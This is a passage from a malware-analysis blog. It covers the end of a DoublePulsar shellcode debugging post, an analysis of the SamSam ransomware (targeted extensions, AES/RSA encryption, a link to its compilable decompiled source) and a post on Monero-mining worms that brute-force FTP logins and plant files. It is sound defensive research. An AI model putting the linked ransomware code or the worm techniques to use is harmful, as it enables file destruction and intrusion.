<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
When it finds srv.sys, it walks the PE sections of the module, trying to find something into the data.<br />
<br />
This shellcode works with an SMB exploit. From my point of view now it is trying to find other parts of the data that the exploit sent (probably a PE to load).</div>
<div>
<br />
<h2>
Conclusions</h2>
<br />
I have not continued debugging the shellcode, because this was only to test the script and show how to debug a shellcode without needing to execute the full exploit (there is a lot of information about DoublePulsar on internet, for example: <a href="https://zerosum0x0.blogspot.com.es/2017/04/doublepulsar-initial-smb-backdoor-ring.html">https://zerosum0x0.blogspot.com.es/2017/04/doublepulsar-initial-smb-backdoor-ring.html</a>)<br />
<br />
Sometimes it is much faster to load the shellcode and debug than installing a vulnerabile machine, executing the exploit, etc…<br />
<br />
I hope the script and the article help you in your reversing sessions 😄</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-67100552929729682652017-06-21T09:54:00.000-07:002018-05-04T10:00:22.224-07:00Analysis of .Net malware: ransomware SamSamSamSam is a ransomware that is written in C#. It’s not an interesting malware, it hasn’t new interesting features or tricks to comment, however I wanted to write a post about the tools that I use to analyze .Net malware since long time ago, and this was a good opportunity to do it.<br />
<a name='more'></a><br />
<h2>
Deobfuscating .Net executable</h2>
<br />
All the .Net malware that I have analyzed they were obfuscated. The first step to analyze a .Net malware it’s to deobfuscate it. The best tool that i know for this purpose it’s de4dot:<br />
<br />
<br />
de4dot.exe <path to .Net executable><br />
<br />
It will leave other executable in the same directory of the target executable with the additional extension .clean.<br />
<br />
<br />
<h2>
Decompiling .Net executable</h2>
<br />
In the case of .Net malware it’s much easier to decompile the executable with specific tools than reading MSIL code with a disassembler like IDA.<br />
<br />
<div>
<h3>
IlSpy</h3>
<br />
IlSpy it’s a .Net decompiler that works fine.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwo1iWLCKOWWloTmoWhR-1I1fTgMo5991JwuBE2gqfxwUS2h1TZsbOmecCporj7chxWEXiiX546nf5Ua-BgdHsaBPbyHVyGWsLupP01I3zIgs9i40mcUEQznBkk0r8e57CE7MMiZhXgzc/s1600/temp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="447" data-original-width="700" height="408" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwo1iWLCKOWWloTmoWhR-1I1fTgMo5991JwuBE2gqfxwUS2h1TZsbOmecCporj7chxWEXiiX546nf5Ua-BgdHsaBPbyHVyGWsLupP01I3zIgs9i40mcUEQznBkk0r8e57CE7MMiZhXgzc/s640/temp.jpg" width="640" /></a></div>
<br />
<br />
<br />
<h3>
JetBrains dotPeek</h3>
<br />
Other good decompiler. It’s slower, but you can generate a visual studio project with the decompiled sources.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ7J-fZ8XgFmn93U_5Vh9jmRdXZYupSC7djcHJ_qeU37fChYgNwle2SEqY4uqYF7w2xgs4HsZdgIJy7d3K_ecyT5wqoDYuUVwo8-qyeinJJqiLMEvcPNADQqg5NB3sxw9qs8gJQkFx0k8/s1600/temp1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="700" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ7J-fZ8XgFmn93U_5Vh9jmRdXZYupSC7djcHJ_qeU37fChYgNwle2SEqY4uqYF7w2xgs4HsZdgIJy7d3K_ecyT5wqoDYuUVwo8-qyeinJJqiLMEvcPNADQqg5NB3sxw9qs8gJQkFx0k8/s640/temp1.jpg" width="640" /></a></div>
<br />
<br />
<br />
<h2>
Debugging .Net executables</h2>
<div>
<br /></div>
<h3>
Dotnet IL Editor</h3>
<br />
Dile it is an editor and MSIL debugger for .Net. Working with it I found it usually crashes suddenly. Anyway there are not too much debuggers and it works well.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCPRnnkprtacpxls37N9F_KiT-lx6vkEKnNZWlKwVxnTPbjWPczammzBL85YfzQvjxmR51r2dsKeqKE6URNsw0Ik7XYepnqS7aF0CvyfQ2uCbe8hr702HHkUSubNTePKzBY13tPlXnhxQ/s1600/temp2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="551" data-original-width="700" height="502" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCPRnnkprtacpxls37N9F_KiT-lx6vkEKnNZWlKwVxnTPbjWPczammzBL85YfzQvjxmR51r2dsKeqKE6URNsw0Ik7XYepnqS7aF0CvyfQ2uCbe8hr702HHkUSubNTePKzBY13tPlXnhxQ/s640/temp2.jpg" width="640" /></a></div>
<br />
<br />
<br />
<h2>
Analyzing SamSam ransomware</h2>
<div>
<br /></div>
Using the tools that we have commented in the previous sections we are going to analyze a sample of SamSam ransoware: <a href="https://malwr.com/analysis/MjRlMTY0NDU3NjYzNDNiN2JmNGU1MWMwOWYyNWFhMTg/">bda230a18d42aabca4b6b9ccdd62dedd</a>.<br />
<br />
After deobfuscating and decompiling it with IlSpy we can start to explore the code easily.<br />
<br /></div>
<div>
<h3>
Encrypted strings</h3>
<br />
The most important strings used by the ransomware are encrypted with AES and key SALT.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2D_4Zvc-_1SuSnhGqeZKPn-jWPtabqqjdVe2_64cvWQ6_UGifMPsMvE_FmfQymOKm4z44jbgTewRG5WkiBYOR7wCIIB7kVRcXXnqO59bHmw5V0FKzEHHlhfUVguNsif_Y7M54FqaP78/s1600/temp3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="409" data-original-width="700" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2D_4Zvc-_1SuSnhGqeZKPn-jWPtabqqjdVe2_64cvWQ6_UGifMPsMvE_FmfQymOKm4z44jbgTewRG5WkiBYOR7wCIIB7kVRcXXnqO59bHmw5V0FKzEHHlhfUVguNsif_Y7M54FqaP78/s640/temp3.jpg" width="640" /></a></div>
<br />
<br />
They are decrypted with the key “SALT” and the algorithm in the function myff11:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgho4hyx33DsTlQ8gNAlWYBeMI2jhkeK1v-BEhxScM04VDuq5Ha6V0Z2bCGRPxDwhnNDdH6UNdEgg7-dgCy1xIqVUEqIOirj2pdFm7YmgFijccaLfdvETVsPoiWYX9PhnQ8EVdDIVDcSYk/s1600/temp4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="559" data-original-width="700" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgho4hyx33DsTlQ8gNAlWYBeMI2jhkeK1v-BEhxScM04VDuq5Ha6V0Z2bCGRPxDwhnNDdH6UNdEgg7-dgCy1xIqVUEqIOirj2pdFm7YmgFijccaLfdvETVsPoiWYX9PhnQ8EVdDIVDcSYk/s640/temp4.jpg" width="640" /></a></div>
<br />
<br />
With Jetbrains dotPeek it is easy to create a visual studio project and compile the code of the ransom. In this way we can leave it to decrypt the strings and see easily the decrypted content of these strings. Here you can find a compilable visual studio project:<br />
<br />
<a href="https://github.com/vallejocc/Malware-Analysis/tree/master/ransomware_samsam/decompiled_code">Malware-Analysis/tree/master/ransomware_samsam/decompiled_code</a><br />
<br />
(I have renamed the original Main function to MainOriginal and i added a empty Main. If you want to debug the full behaviour of the ransom you should call MainOriginal).<br />
<br />
We compile the code and we can debug the code that we are interested on, and we can see the content of decrypted variables. For example here we can see the list of extensions that malware will encrypt:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzy7Z4_FayvtyEC__Izc59CVnME2bdjbIhEiZgtnfna_fFOD3ef2fNinGPlJhK_XvWx7YMAF_iYv-7y1_X9KrhKQHFDSvcuB4Xq4VWcSqt4REV46Sba0sqtH_1PyZ9j-VVAxM6fLyViwI/s1600/temp5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="420" data-original-width="700" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzy7Z4_FayvtyEC__Izc59CVnME2bdjbIhEiZgtnfna_fFOD3ef2fNinGPlJhK_XvWx7YMAF_iYv-7y1_X9KrhKQHFDSvcuB4Xq4VWcSqt4REV46Sba0sqtH_1PyZ9j-VVAxM6fLyViwI/s640/temp5.jpg" width="640" /></a></div>
<br />
<br />
<h3>
Interesting info in the encrypted strings</h3>
</div>
<div>
<br /></div>
<div>
<h4>
Extensions list</h4>
<br />
.vb,.asmx,.config,.3dm,.3ds,.3fr,.3g2,.3gp,.3pr,.7z,.ab4,.accdb,.accde,.accdr,.accdt,<br />
<br />
.ach,.acr,.act,.adb,.ads,.agdl,.ai,.ait,.al,.apj,.arw,.asf,.asm,.asp,.aspx,.asx,.avi,.awg,<br />
<br />
.back,.backup,.backupdb,.bak,.lua,.m,.m4v,.max,.mdb,.mdc,.mdf,.mef,.mfw,.mmw,<br />
<br />
.moneywell,.mos,.mov,.mp3,.mp4,.mpg,.mrw,.msg,.myd,.nd,.ndd,.nef,.nk2,.nop,<br />
<br />
.nrw,.ns2,.ns3,.ns4,.nsd,.nsf,.nsg,.nsh,.nwb,.nx2,.nxl,.nyf,.tif,.tlg,.txt,.vob,.wallet,<br />
<br />
.war,.wav,.wb2,.wmv,.wpd,.wps,.x11,.x3f,.xis,.xla,.xlam,.xlk,.xlm,.xlr,.xls,.xlsb,<br />
<br />
.xlsm,.xlsx,.xlt,.xltm,.xltx,.xlw,.xml,.ycbcra,.yuv,.zip,.sqlite,.sqlite3,.sqlitedb,.sr2,<br />
<br />
.srf,.srt,.srw,.st4,.st5,.st6,.st7,.st8,.std,.sti,.stw,.stx,.svg,.swf,.sxc,.sxd,.sxg,.sxi,.sxm,<br />
<br />
.sxw,.tex,.tga,.thm,.tib,.py,.qba,.qbb,.qbm,.qbr,.qbw,.qbx,.qby,.r3d,.raf,.rar,.rat,<br />
<br />
.raw,.rdb,.rm,.rtf,.rw2,.rwl,.rwz,.s3db,.sas7bdat,.say,.sd0,.sda,.sdf,.sldm,.sldx,<br />
<br />
.sql,.pdd,.pdf,.pef,.pem,.pfx,.php,.php5,.phtml,.pl,.plc,.png,.pot,.potm,.potx,<br />
<br />
.ppam,.pps,.ppsm,.ppsx,.ppt,.pptm,.pptx,.prf,.ps,.psafe3,.psd,.pspimage,.pst,<br />
<br />
.ptx,.oab,.obj,.odb,.odc,.odf,.odg,.odm,.odp,.ods,.odt,.oil,.orf,.ost,.otg,.oth,.otp,<br />
<br />
.ots,.ott,.p12,.p7b,.p7c,.pab,.pages,.pas,.pat,.pbl,.pcd,.pct,.pdb,.gray,.grey,.gry,<br />
<br />
.h,.hbk,.hpp,.htm,.html,.ibank,.ibd,.ibz,.idx,.iif,.iiq,.incpas,.indd,.jar,.java,.jpe,<br />
<br />
.jpeg,.jpg,.jsp,.kbx,.kc2,.kdbx,.kdc,.key,.kpdx,.doc,.docm,.docx,.dot,.dotm,.dotx,<br />
<br />
.drf,.drw,.dtd,.dwg,.dxb,.dxf,.dxg,.eml,.eps,.erbsql,.erf,.exf,.fdb,.ffd,.fff,.fh,.fhd,<br />
<br />
.fla,.flac,.flv,.fmb,.fpx,.fxg,.cpp,.cr2,.craw,.crt,.crw,.cs,.csh,.csl,.csv,.dac,.bank,<br />
<br />
.bay,.bdb,.bgt,.bik,.bkf,.bkp,.blend,.bpw,.c,.cdf,.cdr,.cdr3,.cdr4,.cdr5,.cdr6,<br />
<br />
.cdrw,.cdx,.ce1,.ce2,.cer,.cfp,.cgm,.cib,.class,.cls,.cmt,.cpi,.ddoc,.ddrw,.dds,.der,.des,<br />
<br />
.design,.dgc,.djvu,.dng,.db,.db-journal,.db3,.dcr,.dcs,.ddd,.dbf,.dbx,.dc2,.pbl, .sql,.mdf<br />
<br />
<br />
<h4>
Rescue html message</h4>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_lph6EYjNcrNaul3EcBEGW50e6ldIkxETzlXU1ABUrHW2r41k65Z3CXBRNGLMwqEDeJcyLD9XlOCW1nvMG_1-kpkF2LIdVr569SJPb6PLECt55QoveG2SaXfwChDrXpNK8IRbFkWZSWE/s1600/temp6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="432" data-original-width="700" height="394" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_lph6EYjNcrNaul3EcBEGW50e6ldIkxETzlXU1ABUrHW2r41k65Z3CXBRNGLMwqEDeJcyLD9XlOCW1nvMG_1-kpkF2LIdVr569SJPb6PLECt55QoveG2SaXfwChDrXpNK8IRbFkWZSWE/s640/temp6.jpg" width="640" /></a></div>
<br /></div>
<br />
<br />
Here you can find the content of the html message:<br />
<br />
<a href="https://github.com/vallejocc/Malware-Analysis/blob/master/ransomware_samsam/READ-FOR-DECCCC-FILESSS.html">Malware-Analysis/blob/master/ransomware_samsam/READ-FOR-DECCCC-FILESSS.html</a><br />
<br />
<h3>
File encryption</h3>
<br />
The encryption of files is done with the function encc.myff1 and encc.EncryptFile.<br />
<br />
It will write the encrypted contents to a file with <originalname> + “.breeding123” extension:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEom7ayPBGHs2lpLbZzFyoDs8pcCoM3K32Ig2n6bKY4Yv60B-A9TYoD7ZBv3M9JMr7oZwn9LvSjNnyq9w-3olxZ0GcEhD82Lbnt_jxltoZtHMMtSx8B3GNvpJor-y0CyKQdvYsQXuvzyc/s1600/temp9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="101" data-original-width="700" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEom7ayPBGHs2lpLbZzFyoDs8pcCoM3K32Ig2n6bKY4Yv60B-A9TYoD7ZBv3M9JMr7oZwn9LvSjNnyq9w-3olxZ0GcEhD82Lbnt_jxltoZtHMMtSx8B3GNvpJor-y0CyKQdvYsQXuvzyc/s640/temp9.jpg" width="640" /></a></div>
<br />
<br />
<br />
After encrypting a file, it will delete the original file, leaving the encrypted one. However i can’t see a point of the malware calling vssadmin or bcdedit, or cleaning removed file sectors. So it could be possible to recover file contents or a part of them. But i have not tested it.<br />
<br />
It creates a random key for encrypting file content with AES. After that it encrypts the AES key with a public RSA that the malware carries with itself. Finally, it writes the encrypted content with a header containing the encrypted AES key to the .breeding123 file.<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwz4XZtyKJOiuitu5Ae2VS4xiZ9S8S8kqE4-8NrPbGQNCxSNN9YKdkTFuYEYiizG_-1orMkNSGblJlJb5oppTXWhs1-dCaYkacDwTNLuhQiHcvs_cU3hcQKCEIIZaqTToGSTtoYAFcpA/s1600/temp7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="131" data-original-width="700" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwz4XZtyKJOiuitu5Ae2VS4xiZ9S8S8kqE4-8NrPbGQNCxSNN9YKdkTFuYEYiizG_-1orMkNSGblJlJb5oppTXWhs1-dCaYkacDwTNLuhQiHcvs_cU3hcQKCEIIZaqTToGSTtoYAFcpA/s640/temp7.jpg" width="640" /></a></div>
<br />
<br />
EncryptFile:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0adnX1tmFZJ4uxV97kYeRqs5ElkwZr9tjj-c1aGMJVDj1Q27D_RglfcVlTbxkd48T7nTWzGImfe51vxjX4iqxotExsdVhB2UuKcw1p6p2Qmqr-pGbXwM57T7l-mLrVzpQGsiFmy1RCN8/s1600/temp8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="800" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0adnX1tmFZJ4uxV97kYeRqs5ElkwZr9tjj-c1aGMJVDj1Q27D_RglfcVlTbxkd48T7nTWzGImfe51vxjX4iqxotExsdVhB2UuKcw1p6p2Qmqr-pGbXwM57T7l-mLrVzpQGsiFmy1RCN8/s640/temp8.jpg" width="560" /></a></div>
<br /></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-62797338011080630852017-06-02T09:46:00.000-07:002018-05-04T10:02:01.564-07:00Monero Coin Mining MalwareLately, while reviewing and classifying samples, I have been seeing an increase in CoinMiners, specially CoinMiners oriented to mine Monero virtual coin. For this reason I decided to write a short article about virtual coin mining and this kind of malware.<br />
<div>
<a name='more'></a></div>
<div>
<h2>
</h2>
<h2>
Virtual Coin Mining</h2>
<br />
Blockchain technology is a complex world, and virtual currencies too. It is impossible to explain it in deep here. I would recommend these articles about bitcoin network and bitcoin mining:<br />
<br />
<a href="http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html">http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html</a><br />
<br />
<a href="http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html">http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html</a><br />
<br />
From the previous articles, we can read:<br />
<br />
“transactions are recorded in the distributed database through mining. Transactions are grouped into blocks and about every 10 minutes a new block of transactions is sent out, becoming part of the transaction log known as the blockchain, which indicates the transaction has been made (more-or-less) official”<br />
<br />
The task of mining is hard to perform. In the case of bitcoin, it is necesary to satify the condition of getting a hash (double sha256) with the new transactions concatenated with a value to calculate, and this hash must have enough number of zeros at the beggining.<br />
<br />
Again from the articles, where it is very much better explained than my explanation 😄:<br />
<br />
“you first collect the new transactions into a block. Then you hash the block to form a 256-bit block hash value. If the hash starts with enough zeros, the block has been successfully mined and is sent into the Bitcoin network and the hash becomes the identifier for the block. Most of the time the hash isn’t successful, so you modify the block slightly and try again, over and over billions of times. About every 10 minutes someone will successfully mine a block, and the process starts over.“<br />
<br />
If you are lucky and you mine a block, the blockchain network gives a reward to you (an amount of the virtual currency).<br />
<br />
<h2>
</h2>
<h2>
Mining Pools</h2>
<br />
As we have commented, the task of mining it’s a very hard task. In addition you are compiting against other miners for mining a block and get the reward.<br />
<br />
If you have a lot of specialized machines working on the task, you could try to mine by yourself, but if you are a user with limited resources, it’s almost impossible to mine a block. For this reason mining pools were implemented:<br />
<br />
“Bitcoin mining pools are a way for Bitcoin miners to pool their resources together and share their hashing power while splitting the reward equally according to the amount of shares they contributed to solving a block.”<br />
<br />
<br />
Bitcoin Mining in practice<br />
<br />
If you mine by yourself, without mining pool, you would need the official bitcore client:<br />
<br />
<a href="https://bitcoin.org/en/download">https://bitcoin.org/en/download</a><br />
<br />
With this client you would become a node of the bitcoin network, you would download the blockchain (lot of gigas), and you would mine alone. If you mine a block, the full reward would be for you. But it’s really hard with common hardware.<br />
<br />
The best option for an ordinary user to mine at home it is to use mining pools. Here it is a list of pools:<br />
<br />
<a href="https://www.bitcoinmining.com/bitcoin-mining-pools/">https://www.bitcoinmining.com/bitcoin-mining-pools/</a><br />
<br />
For example we will choose <a href="https://slushpool.com/">https://slushpool.com</a> for tests. We will register in the web and we will create a worker (it’s only a way to have multiple miners with the same account). When you create a worker you get a miner login. For example, my user is jvvallejo, and my worker’s name is worker1, so my miner login will be: jvvallejo.worker1.<br />
<br />
Now we need a hardware and software to mine.<br />
<br />
It is possible to buy hardware created exclusively for mining (antminers are the most famous machines for this purpose <a href="https://www.bitmain.com/">https://www.bitmain.com/</a>), but you can mine easily with your computer and an special software.<br />
<br />
Cgminer is a well-known software for mining:<br />
<br />
<a href="https://github.com/ckolivas/cgminer">https://github.com/ckolivas/cgminer</a><br />
<br />
<a href="http://ck.kolivas.org/apps/cgminer/">http://ck.kolivas.org/apps/cgminer</a><br />
<br />
However latest versions of cgminer are very oriented to mining with special USB hardware. It is possible to compile a version of cgminer with CPU or GPU support. But for doing it faster, i will use another known miner, poclbm:<br />
<br />
<a href="https://en.bitcoin.it/wiki/Poclbm">https://en.bitcoin.it/wiki/Poclbm</a><br />
<br />
You could search guiminer too, a gui interface for poclbm.<br />
<br />
Having a pool and having a mining software, it is easy to start to mine. With slush, the needed urls are:<br />
<br />
URL: stratum+tcp://stratum.slushpool.com:3333<br />
userID: userName.workerName (jvvallejo.worker1 in my case)<br />
password: anything<br />
<br />
We would call poclbm in this way:<br />
<br />
poclbm.exe jvvallejo.worker1:anything@stratum.slushpool.com:3333 –device=1 –platform=0 –verbose -r1<br />
<br />
With this, the miner will start to work. Depending on the computational power that you contribute to the pool, a proportional part of the mining reward is giving to you (usually, it is possible to consult statistics in the pool website).<br />
<br />
The problem of mining with a computer, it is usually you won’t contribute with too much computational power and you will get low rewards. Somewhere, sometime, someone thought that he would get higher rewards with a lot of machines mining at same time, and mining malware appeared 😄<br />
<br />
<h2>
Monero and other virtual currencies</h2>
<br />
Until now I have been talking about bitcoins because it’s the most known virtual currency, but there are a lot of them:<br />
<br />
<a href="https://en.wikipedia.org/wiki/List_of_cryptocurrencies">https://en.wikipedia.org/wiki/List_of_cryptocurrencies</a><br />
<br />
For some reason, it’s coming a wave of different malware that are mining Moneros. Monero mining algorithm is named CryptoNight. Here you can read about it:<br />
<br />
<a href="https://steemit.com/bitcoin/@knyaz/cryptonight-algorithm-and-how-to-mine-cryptocurrency-monero-bytecoin-etc">https://steemit.com/bitcoin/@knyaz/cryptonight-algorithm-and-how-to-mine-cryptocurrency-monero-bytecoin-etc</a><br />
<br />
“CryptoNight is a proof-of-work algorithm. It is designed to be suitable for ordinary PC CPUs, but currently no special purpose devices for mining are available. Therefore, CryptoNight can only be CPU-mined for the time being.”<br />
<br />
Currently, there are not hardware specifically made for mining Moneros. It is only possible to mine Moneros with a computer, and for this reason it is easier to mine blocks (there is lower competence). Probably that is the reason for malware authors to start to mine moneros.<br />
<br />
Mining Monero is done exactly in the same way that mining Bitcoins. You need a Monero mining pool and a software for mining Monero.<br />
<br />
Cpuminer it’s a well-known widely used miner for Monero:<br />
<br />
<a href="https://github.com/OhGodAPet/cpuminer-multi">https://github.com/OhGodAPet/cpuminer-multi</a><br />
<br />
Moneropool.com is a known pool:<br />
<br />
<a href="http://www.moneropool.com/">http://www.moneropool.com</a><br />
<br />
In the case of this pool you don’t need to register. You give your wallet string as user parameter. In this way the pool knows what wallet it must transfer the reward.<br />
<br />
We would call cpuminer in this way:<br />
<br />
cpuminer.exe -a cryptonight -o stratum+tcp://mine.moneropool.com:3333 -u 1DfWX7343mTrBye1FRWm9evC3p4DtcdJIO7asdSk8lsieHVFe2SopjaIO4sfenc0ijedf6anleacjn3LCVXjVwPeiI39qsc -p anything<br />
<br />
That is enough to start to mine Moneros in your computer.<br />
<h2>
</h2>
<h2>
</h2>
<h2>
Monero Mining Malware (samples analysis)</h2>
<br />
CoinMiners that i have analyzed use common malware methods (antidebugging tricks, worm behaviours, etc…), but the coin mining behaviour is very similar to that I have explained in the previous sections.<br />
<br />
Until now i have not seen a mining malware implementing its own mining code or having its own mining pool in its own server. Maybe they exist, but i have not seen them. The miners that i have seen are simplier: they drop a mining software such as cpuminer (probably packed with some packer) and they call the miner with parameters for mining with a pool.<br />
<br />
<h3>
Sample aba2d86ed17f587eb6d57e6c75f64f05</h3>
<br />
Let’s take a look to the sample aba2d86ed17f587eb6d57e6c75f64f05. Here you can find a report about this sample:<br />
<br />
<a href="https://github.com/vallejocc/Malware-Analysis-Reports/blob/master/Trojan/Mupad_Microsoft/a30713271c6b283c39aeeba45c37adcf.pdf">https://github.com/vallejocc/Malware-Analysis-Reports/blob/master/Trojan/Mupad_Microsoft/a30713271c6b283c39aeeba45c37adcf.pdf</a><br />
<br />
It seems to be a simple worm with mining capabilities. Seeing the strings of the malware we could have an idea about malware behaviour:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNE4iQKnQHYxoq5Xsbr3OWtrSejJS1QJ70qEgn85iW33nkf6BWtgwbVqP-CR9GdPRnSxNSXIiojdxE8TWT8dtXx3d3cqjREYiyj3FU9tujKsnhVddrY55naxRnn04FbyOmZFNMNQKE7wg/s1600/sin-tc3adtulo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="599" data-original-width="700" height="546" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNE4iQKnQHYxoq5Xsbr3OWtrSejJS1QJ70qEgn85iW33nkf6BWtgwbVqP-CR9GdPRnSxNSXIiojdxE8TWT8dtXx3d3cqjREYiyj3FU9tujKsnhVddrY55naxRnn04FbyOmZFNMNQKE7wg/s640/sin-tc3adtulo.png" width="640" /></a></div>
<br />
<br />
Basically we can see the malware starts a cpuminer process for mining Monero. It uses two well-known Monero mining pools: mineropool.com and minexmr.com.<br />
<br />
The author’s wallet:<br />
<br />
42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74v \<br />
<br />
ryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ<br />
<br />
(Maybe public pools should implement blacklists of wallets to forbid malware wallets to work with the pool).<br />
<br />
As part of the worm code, It seems to copy itself to all units a:\, b:\,… z:\.<br />
<br />
It has a short user:password list:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSqGvKkMClUPlR4BpcbwQ6Ta7lVYNzn_B9KlARC2Enj4-f76kzFX8PiADbugRRgv8ofs6rvjgtSNORq4gCtVdbHMTN2TCjCixGtjSKxF2GDPSj6i9iTe4egzOZvnpErhFY_vN-qCfFDww/s1600/sin-tc3adtulo2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="832" data-original-width="420" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSqGvKkMClUPlR4BpcbwQ6Ta7lVYNzn_B9KlARC2Enj4-f76kzFX8PiADbugRRgv8ofs6rvjgtSNORq4gCtVdbHMTN2TCjCixGtjSKxF2GDPSj6i9iTe4egzOZvnpErhFY_vN-qCfFDww/s640/sin-tc3adtulo2.png" width="322" /></a></div>
<br />
<br />
And it generates random ip addresses to connect with these login:passwords:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORFJ7rt-n8Hbh1LBI9KC0dere3W-yKVMlWyX-MGN0dsEQzhOw4siT_pOle6na8R9GDVpMe-pYAVrL8xsogNlNi0KBFkPxW3EJKiiynhqEYyusVvF77C4sPg82WVO-1uA4bcf6tLQGN_0/s1600/sin-tc3adtulo3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="878" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORFJ7rt-n8Hbh1LBI9KC0dere3W-yKVMlWyX-MGN0dsEQzhOw4siT_pOle6na8R9GDVpMe-pYAVrL8xsogNlNi0KBFkPxW3EJKiiynhqEYyusVvF77C4sPg82WVO-1uA4bcf6tLQGN_0/s640/sin-tc3adtulo3.png" width="510" /></a></div>
<br />
<br />
<br />
When it finds a ftp to connect, it walks the ftp files, it uploads a file photo.scr, and it tries to modify php, html, etc…:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwu1QOPVYtKxiKr-FMPd7K1lA0LqrDtYFVayapUEOovReVLd-zqpCS2M96jc6NXJGiO0zUaMTvAGRf_JGTmp9lxnumSw0rJetL00apu1WMnfwWd7wvCniHObGldXNqga-ip1ASxMZjYco/s1600/sin-tc3adtulo4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="697" data-original-width="700" height="636" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwu1QOPVYtKxiKr-FMPd7K1lA0LqrDtYFVayapUEOovReVLd-zqpCS2M96jc6NXJGiO0zUaMTvAGRf_JGTmp9lxnumSw0rJetL00apu1WMnfwWd7wvCniHObGldXNqga-ip1ASxMZjYco/s640/sin-tc3adtulo4.png" width="640" /></a></div>
<br />
<br />
Here is a list of files that it tries to modify:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
